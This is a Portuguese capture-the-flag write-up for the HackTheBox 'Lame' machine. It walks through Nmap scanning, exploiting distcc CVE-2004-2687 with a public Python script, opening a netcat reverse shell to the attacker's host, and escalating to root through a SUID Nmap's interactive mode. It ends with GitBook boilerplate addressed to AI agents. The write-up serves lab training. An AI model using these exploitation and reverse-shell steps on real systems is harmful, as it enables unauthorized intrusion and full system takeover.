> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/lame-hackthebox-writeup.md).

# Relato do HackTheBox Lame

{% embed url="<https://app.hackthebox.com/machines/Lame>" %}

{% hint style="warning" %}
**Habilidades:**

* Exploração da Porta 3632 - distcc (CVE-2004-2687)
* Abusando do Nmap SUID (Escalada de Privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/769563aa01df08f661da03d1b501b5f7a9d1201a" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/4afacb43e07346b9a75eee880d89f793bf6c80e6" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.3 -oG allPorts
```

<figure><img src="/files/cc535469d973729e5cb2a24c92841e69f7fa0c35" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

<figure><img src="/files/8b76994bf9fbc4ea4689344698e686a370125669" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p21,22,139,445,3632 10.10.10.3 -oN targeted
```

<figure><img src="/files/9eebd88bc7d42866535d89fa26c18af136946c8a" alt=""><figcaption></figcaption></figure>

### Porta 3632 - distccd

> O Distcc é uma ferramenta para acelerar o processo de compilação usando os recursos ociosos de outros computadores na rede. Quando configurado em uma máquina, ele pode distribuir suas tarefas de compilação para outros sistemas executando o daemon distccd e que tenham um compilador compatível.

#### Vulnerabilidade identificada

A versão 4.2.4 do distccd escuta na porta 3632 e é vulnerável à CVE-2004-2687. Essa vulnerabilidade permite que um invasor execute comandos arbitrários com os privilégios do usuário sob o qual o daemon está sendo executado (muitas vezes um usuário sem privilégios, mas isso pode variar dependendo da configuração).

#### Verificação de Vulnerabilidade

Para confirmar a presença da vulnerabilidade, usamos o seguinte script do Nmap:

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

O resultado indica que o servidor é de fato vulnerável.

<figure><img src="/files/cf063a5a631ac39eb39796ebefcf4aae1713ebd7" alt=""><figcaption></figcaption></figure>

### Exploração

#### Executando um script em Python

Para explorar a vulnerabilidade, usamos o seguinte script Python:

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

Isso nos permite executar comandos arbitrários na máquina alvo.

<figure><img src="/files/42ee50a53dfc8dfe71ae71630251702442fea13e" alt=""><figcaption></figcaption></figure>

#### Executando uma shell reversa

Escutamos na porta 443:

```bash
nc -nlvp 443
```

Executamos o seguinte comando na máquina alvo para estabelecer a conexão:

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="/files/cac00ed2b6c091f79385dcd039920cd8cb0ff2c9" alt=""><figcaption></figcaption></figure>

#### Manipulação de Terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="/files/6fd5a931244e0ae171b446fe79250f4be4c1375c" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilégios

### SUID - Nmap

#### Encontrando arquivos SUID

Procuramos por arquivos com o bit SUID habilitado usando o seguinte comando:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/c74ca1f3ba0564404a2320b02029517d7587b70a" alt=""><figcaption></figcaption></figure>

#### Identificação do Nmap

Entre os arquivos listados, encontramos **Nmap**.

#### Exploração

O Nmap pode ser usado interativamente para executar comandos como root. Aqui estão os passos:

Inicie o Nmap em modo interativo:

```bash
nmap --interactive
```

Execute comandos como root, por exemplo:

```bash
!whoami
```

Isso exibe "root".

<figure><img src="/files/b6b80108e885972ef15a8a1354a0d85e8cfdf8e7" alt="" width="563"><figcaption></figcaption></figure>

Obtenha um shell root:

```bash
!sh
```

Uma vez no shell root, acesse o **root.txt** arquivo para recuperar a flag.

<figure><img src="/files/c3cb16f0bed0c276fc95f812e2881e7179c3df9d" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/9a3f988d75750405b850454436dfd65617c404d5" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/lame-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
